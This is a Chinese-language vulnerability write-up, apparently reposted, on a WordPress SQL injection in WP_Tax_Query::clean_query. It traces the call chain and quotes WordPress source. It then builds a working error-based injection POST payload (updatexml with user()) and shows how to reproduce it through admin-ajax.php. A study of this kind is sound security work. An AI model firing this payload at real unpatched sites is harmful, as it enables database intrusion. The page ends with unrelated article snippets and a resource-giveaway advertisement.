网络安全:SQL 注入漏洞

news2024/11/28 19:03:47

一、漏洞描述

WordPress是一个用PHP编写的免费开源内容管理系统,由于clean_query函数的校验不当,导致了可能通过插件或主题以某种方式从而触发SQL注入的情况。这已经在WordPress5.8.3中进行了修复。影响版本可以追溯到3.7.37。

二、漏洞分析

在分析整个漏洞之前,首先可以看一下如果想要触发该漏洞,漏洞代码应该是什么样子的。

new WP_Query($_POST['query_vars'])

这也就是说,传入WP_Query的参数如果可控的话,就可以利用该漏洞。接下来我们看看整个漏洞的利用调用链:

WP_Query::__construct
WP_Query::query
WP_Query::get_posts
WP_Tax_Query::get_sql
WP_Tax_Query::get_sql_clauses
WP_Tax_Query::get_sql_for_query
WP_Tax_Query::get_sql_for_clause
WP_Tax_Query::clean_query

根据官方的修复代码,最后的漏洞点位于WP_Tax_Query的clean_query方法:

 

【一>所有资源关注我,私信回复'资料"获取<一】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记

根据漏洞的描述,我们知道的是WP_Tax_Query::clean_query函数对变量没有做严格的校验,最终导致了SQL语句的拼接,进而导致了SQL注入漏洞。

通过上下文的分析,我们将注意放置在
WP_Tax_Query::get_sql_for_clause这个函数上面,这也是整个漏洞利用调用链中的一个函数;在这个函数中,使用到了clean_query方法对传入的参数进行了校验过滤处理:

继续查看该方法下面的代码,我们可以知道items变量最终拼接到了SQL语句中。

该漏洞最终需要利用的就是这个items变量,如果能够控制这个变量的值的话,就可以导致注入。

知道了漏洞点的位置,现在我们正向去分析一下。首先我们知道漏洞代码是这个样子的:

new WP_Query($_POST['query_vars'])

跟进到WP_Query对象的构造方法,知道其调用了query方法。在WP_Query::query中,调用了wp_parse_args函数对输入的字符串进行了处理:

function wp_parse_args( $args, $defaults = array() ) {
if ( is_object( $args ) ) {
$parsed_args = get_object_vars( $args );
} elseif ( is_array( $args ) ) {
$parsed_args =& $args;
} else {
wp_parse_str( $args, $parsed_args );
}

if ( is_array( $defaults ) && $defaults ) {
return array_merge( $defaults, $parsed_args );
}
return $parsed_args;
}

这里主要关注前面两个点,一个是如果传入的是一个对象的话,将其属性名和值取出来转变成数组;如果直接传入的是数组的话,也就是直接返回了。这里也就确定$this->query_vars和$this->query变量可控了。

接下来调用get_posts方法,该方法的代码比较长,我们直接定位到利用链函数:

 

变量$this->is_singular初始化之后为false,所以这里的if语句是会执行的,而下面的$this->parse_tax_query($q)语句,跟进去,其实就是给变量$this->tax_query赋值,其值为WP_Tax_Query类对应的对象,同时利用传入的$q变量,对该对象进行了一些初始化。这里关键就是$q变量,我们向上追溯,查看一下该变量的生成过程:

$q = &$this->query_vars;

$q = $this->fill_query_vars( $q );

首先$q变量获取$this->query_vars,通过上面的分析,我们知道这个变量是可控的,也就是我们通过POST传入的参数值。接下来调用fill_query_vars方法,跟进去会发现这个函数就是向$q这个数组里面添加了一些key值。我们可以传入一个数组,然后var_dump出来看看:

接下来进入$this->parse_tax_query($q)这个函数看看。该函数就是通过传入的$q数组,然后赋值给$tax_query变量,然后利用该变量去初始化对象$this->tax_query = new WP_Tax_Query( $tax_query );,在parse_tax_query函数中,我们需要给$tax_query变量赋值,就需要传入的数组中带有tax_query这个关键词即可。我们跟进到这个类的构造函数去看看:(简单说明就是经过处理的$q变量的值作为了WP_Tax_Query对象的构造函数的参数值)

 

可以看到$this->queries变量的值是由$tax_query赋值得到的,只不过这里做了一些过滤,即调用了sanitize_query函数进行了处理。

到这里,我们就进入到了WP_Tax_Query类,并且我们可以控制传入这个类的构造函数的参数值。接下来看看这个构造函数中对传入的参数值做了哪些处理,也就是这个sanitize_query函数:(这里只截取关键部分了)

elseif ( self::is_first_order_clause( $query ) ) {
$cleaned_clause         = array_merge( $defaults, $query );
$cleaned_clause['terms'] = (array) $cleaned_clause['terms'];
$cleaned_query[]         = $cleaned_clause;
if ( ! empty( $cleaned_clause['taxonomy'] ) && 'NOT IN' !== $cleaned_clause['operator'] ) {
$taxonomy = $cleaned_clause['taxonomy'];
if ( ! isset( $this->queried_terms[ $taxonomy ] ) ) {
$this->queried_terms[ $taxonomy ] = array();
}
if ( ! empty( $cleaned_clause['terms'] ) && ! isset( $this->queried_terms[ $taxonomy ]['terms'] ) ) {
$this->queried_terms[ $taxonomy ]['terms'] = $cleaned_clause['terms'];
}
​
if ( ! empty( $cleaned_clause['field'] ) && ! isset( $this->queried_terms[ $taxonomy ]['field'] ) ) {
$this->queried_terms[ $taxonomy ]['field'] = $cleaned_clause['field'];
}
}
}

我们要进入到这个if语句,就需要通过is_first_order_clause函数:

protected static function is_first_order_clause( $query ) {
return is_array( $query ) && ( empty( $query ) || array_key_exists( 'terms', $query ) || array_key_exists( 'taxonomy', $query ) || array_key_exists( 'include_children', $query ) || array_key_exists( 'field', $query ) || array_key_exists( 'operator', $query ) );
}

这个函数比较简单,就是需要传入的数据通过foreach迭代之后,仍然是一个数组,也就是传入的需要是一个二维数组,并且需要携带一些key值。(加上前面的需要传入tax_query关键词,到这里就需要传入的是一个三维数组)

由于我们要控制terms的值,所以传入的terms也要是一个数组,也就是说如果要控制terms值,需要传入一个四维数组,例如如下POST数据:

query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=AND

我们在这里先分析一下这个POST的数据。首先需要一个tax_query,是为了能给$tax_query变量赋值,然后我这里加了一个1是为了构造多维数组,这样传入进去之后,到上面这个foreach取出来之后,就是一个数组,从而构造了$this->queries,并且由于我们需要控制terms值,$cleaned_clause['terms'] = (array) $cleaned_clause['terms'];表名我们需要传入一个数组来进行merge函数的拼接从而覆盖。传入以上数据之后,$this->queries的值为:

Array
(
[1] => Array
(
[include_children] => 1
[terms] => Array
(
[1] => AND
)
)
​
)

以上分析都是在初始化WP_Tax_Query这个对象。接下来继续向下分析,开始调用WP_Tax_Query::get_sql方法,然后调用了
WP_Tax_Query::get_sql_clauses方法:

之后将$this->queries变量的值传入get_sql_for_query函数,我们继续跟进一下这个函数:

如果我们想要调用get_sql_for_clause方法的话,就需要对传入的数据进行一个控制,这里的关键在于is_array($clause)语句,也就是说,我们通过构造以后,这里需要传入一个二维数组,进而能够执行到这个条件里面并且需要满足is_first_order_clause函数,因此我们按照上面的构造方式是可以执行到这里的,并且这里的$clause的值为:

array(5) {
["taxonomy"]=>
string(0) ""
["terms"]=>
array(1) {
[1]=>
string(3) "AND"
}
["field"]=>
string(7) "term_id"
["operator"]=>
string(2) "IN"
["include_children"]=>
string(1) "1"
}

接下来就进入了get_sql_for_clause函数,也就是我们最终拼接SQL语句的地方,但在拼接之前,我们需要绕过clean_query函数,我们跟进这个函数看看:

这里为了不让他异常退出,我们需要添加一个field字段,让其值等于term_taxonomy_id即可,构造语句为:

action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=AND&query_vars[tax_query][1][field]=term_taxonomy_id

并且在函数的最后,调用了$this->transform_query( $query, 'term_taxonomy_id' );,我们跟进去,正好判定field的值,从而return,跳过了后面的执行操作:

接下来就是SQL语句的拼接了,根据我们构造的operator的不同值,没有构造的话就是IN了,进行不同的拼接操作,这里是IN,我们进入到这个if语句:

我们在terms处构造报错注入代码即可:

action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=AND&query_vars[tax_query][1][field]=term_taxonomy_id

前面的分析都是介绍如何一步一步执行到get_sql_for_clause这个函数,并且介绍了传入这个函数的变量是如何控制的。接下来就是该漏洞点主要的部分。

在get_sql_for_clause这个函数中,调用了clean_query方法对我们构造的数据进行了一个清洗,然后取出其中的terms值,带入了SQL拼接语句中,payload如下:

query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=1) or updatexml(0x7e,concat(1,user()),0x7e)#&query_vars[tax_query][1][field]=term_taxonomy_id

三、漏洞复现

我这里将new WP_Query($_POST['query_vars'])语句放置到wp-admin\admin-ajax.php中:(在实际场景下,只要该处输入可控,即可造成SQL注入漏洞)

复现的时候开启一下debug即可看见报错注入(也可以进行盲注了);最后的构造语句为:(这里加上action参数是为了执行到目标代码)

action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=1) or updatexml(0x7e,concat(1,user()),0x7e)#&query_vars[tax_query][1][field]=term_taxonomy_id

 

四、修复方式

官网已经发布更新版本,或者按照官网的修复方式,自行添加代码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/597698.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

平台使用篇 | 批处理(bat)脚本使用教程(四)

导读 一个开启多机软件在环仿真的批处理文件 (对应卓面RflyTools文件夹中SITLRun快捷方式)&#xff0c;双击它&#xff0c;输入想要生成的飞机数量&#xff0c;即可生成多机软件在环仿真&#xff0c;等待RflySim3D显示3DFixed 4/4&#xff0c;然后可通过QGC控制飞机起飞。运行…

Unity API详解——Time类

Time类是Unity中获取时间信息的接口类&#xff0c;只有静态属性。本博客介绍Time类的一些静态属性。 一、Time类静态属性 在Time类中&#xff0c;涉及的静态属性有realtimeSinceStartup、smoothDeltaTime和time属性&#xff0c;在介绍time属性时涉及了Time类的多个其他属性的…

学姐生日快到了~这不得用Python把她的照片做成视频当礼物送给她....

前言 这不是学姐生日快到了&#xff0c;于是我学了一手Python~ 来把学姐的照片生成为视频&#xff0c;到时候给她一个惊喜&#xff01; 好了先不说了&#xff0c;下面分享一下用python代码 实现多张图片合成MP4视频为实例&#xff0c;做下详细代码讲解。 一、需要调入的模块…

设计模式之~迭代器模式

迭代器模式&#xff1a; 迭代器&#xff08;Iterator&#xff09;模式&#xff0c;又叫做游标&#xff08;Cursor&#xff09;模式。GOF 给出的定义为&#xff1a;提供一种方法顺序访问一个容器&#xff08;container&#xff09;对象中各个元素&#xff0c;而又不需暴露该对象…

数据库DBMS并发控制(1)

pgsql&#xff08;PostgreSQL&#xff09;常用命令行操作_pgsql常用命令_石头wang的博客-CSDN博客 重要&#xff1a;事务的操作和事务的性质 操作演示 四种典型数据不一致现象: 串行调度和可串行调度 串行调度 顾名思义 就是可以进行调度的意思 可串行调度 就是 一种和串行…

C Primer Plus第十六章编程练习答案

学完C语言之后&#xff0c;我就去阅读《C Primer Plus》这本经典的C语言书籍&#xff0c;对每一章的编程练习题都做了相关的解答&#xff0c;仅仅代表着我个人的解答思路&#xff0c;如有错误&#xff0c;请各位大佬帮忙点出&#xff01; 由于使用的是命令行参数常用于linux系…

常见的ACL攻击方式,集权设施如何防御攻击?

本文主要介绍了 WindowsAD域中基于访问控制列表&#xff08;ACL&#xff09;的攻击&#xff0c;在AD域的攻击手法中&#xff0c;基于ACL的攻击由于理解起来比较困难&#xff0c;现有的安全设备也很少有对ACL的监控&#xff0c;这种类型的攻击通常会被安全人员所忽视。 1.什么是…

[SpringBoot]创建聚合项目

首先&#xff0c;创建父级项目&#xff1a; 因为手动添加依赖&#xff0c;以下只选版本不打钩 因为父项目不写代码&#xff0c;所以删除src 调整pom.xml文件&#xff08;并刷新maven&#xff09;&#xff0c;如下&#xff1a; <?xml version"1.0" encoding&qu…

如何入门渗透测试

1. 什么是渗透测试 渗透测试就是模拟真实黑客的攻击手法对目标网站或主机进行全面的安全评估&#xff0c;与黑客攻击不一样的是&#xff0c;渗透测试的目的是尽可能多地发现安全漏洞&#xff0c;而真实黑客攻击只要发现一处入侵点即可以进入目标系统。 一名优秀的渗透测试工程…

Flink SQL之Regular Joins

1.Regular Joins&#xff08;双流join&#xff09; 双流join是最通用的联接类型&#xff08;支持 Batch\Streaming&#xff09;&#xff0c;其中任何新记录或联接两侧的更改都是可见的&#xff0c;并影响整体的Join结果。 特点&#xff1a; 对于流式查询&#xff0c;双流join…

深入分析 OpenShift 内部 DNS

深入分析 OpenShift 内部 DNS OpenShift 中的DNS 相关组件及其配置1.1 Pod 中的 DNS 配置1.2 Pod 所在宿主机上的 DNS 配置及服务1.2.1 resolv.conf 文件 DNS 配置DNS 查询流程为什么需要内部 DNS&#xff1f; 本文基于 OpenShift 3.11&#xff0c;Kubernetes 1.11 进行测试 O…

Linux服务器禁止密码登录,设置秘钥登录

生成SSH密钥 (客户机端) 执行ssh-keygen -t rsa命令创建RSA密钥对&#xff0c;执行结果如下(键入3次回车)&#xff1a; [rootnode01 .ssh]# ssh-keygen -t rsa Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): [回车] En…

【十五】设计模式~~~行为型模式~~~状态模式(Java)

【学习难度&#xff1a;★★★☆☆&#xff0c;使用频率&#xff1a;★★★☆☆】 4.1. 模式动机 在很多情况下&#xff0c;一个对象的行为取决于一个或多个动态变化的属性&#xff0c;这样的属性叫做状态&#xff0c;这样的对象叫做有状态的(stateful)对象&#xff0c;这样的…

向后切片,正向切片和其他形式的切片

向后切片,正向切片和其他形式的切片 向后切片Backward Slices 假设我们希望确定哪些语句影响节点 n。 这是由 n 和在 n 处引用的变量。 我们只是&#xff1a; 从 n 回溯控制和流依赖边。 我们保留由此到达的节点。 一般后向切片 通常&#xff0c;我们的切片标准是一个节点和一…

【CMake 入门与进阶(1)】一个例子搞懂什么是CMakeLists——从“Hello World”开始(附代码)

在前面两篇内容中&#xff0c;我们编写了很多示例程序&#xff0c;但这些示例程序都只有一个.c 源文件&#xff0c;非常简单。因此&#xff0c;编译这些示例代码其实都非常简单&#xff0c;直接使用 GCC 编译器编译即可&#xff0c;连 Makefile 都不需要。但是&#xff0c;在实…

中国人民大学与加拿大女王大学金融硕士项目——在职攻读金融硕士,努力迈进高阶人生

学历重要吗&#xff1f;入职门槛、晋升、考公等多方面都考核学历。学历代表的并不只是学习经历&#xff0c;也是学习能力的体现。在快速发展的社会&#xff0c;学历越高&#xff0c;学习能力越强&#xff0c;机会就越多。金融行业在职的你&#xff0c;有计划在职攻读硕士学位吗…

如何在 K3s 中使用网络策略

本文将介绍如何在示例项目中使用网络策略&#xff0c;并解释它在 K3s 中的工作原理&#xff0c;从而帮助用户提高部署的安全性。 关于 K3s 对网络策略的支持存在一个普遍的误解&#xff0c;因为 K3s 默认使用 Flannel CNI&#xff0c;而 Flannel CNI 不支持网络策略。其实&…

Docker+Jenkins+Gitee+Pipeline部署项目

1.前言 Hello&#xff0c;各位小伙伴大家好。&#x1f604; 在上一篇文章【DockerJenkinsGitee自动化部署maven项目】中&#xff0c;咱们详细介绍了如何自动化部署maven项目&#xff0c;如果说你的项目仅仅为maven项目&#xff0c;那么这种部署方式是很契合的&#xff0c;如果…

超全,Selenium4自动化测试并行测试详解,进阶之路看这篇就够了...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 Selenium4 自动化测…

万字解析PELT算法!

Linux是一个通用操作系统的内核&#xff0c;她的目标是星辰大海&#xff0c;上到网络服务器&#xff0c;下至嵌入式设备都能运行良好。做一款好的linux进程调度器是一项非常具有挑战性的任务&#xff0c;因为设计约束太多了&#xff1a; 它必须是公平的快速响应系统的throughp…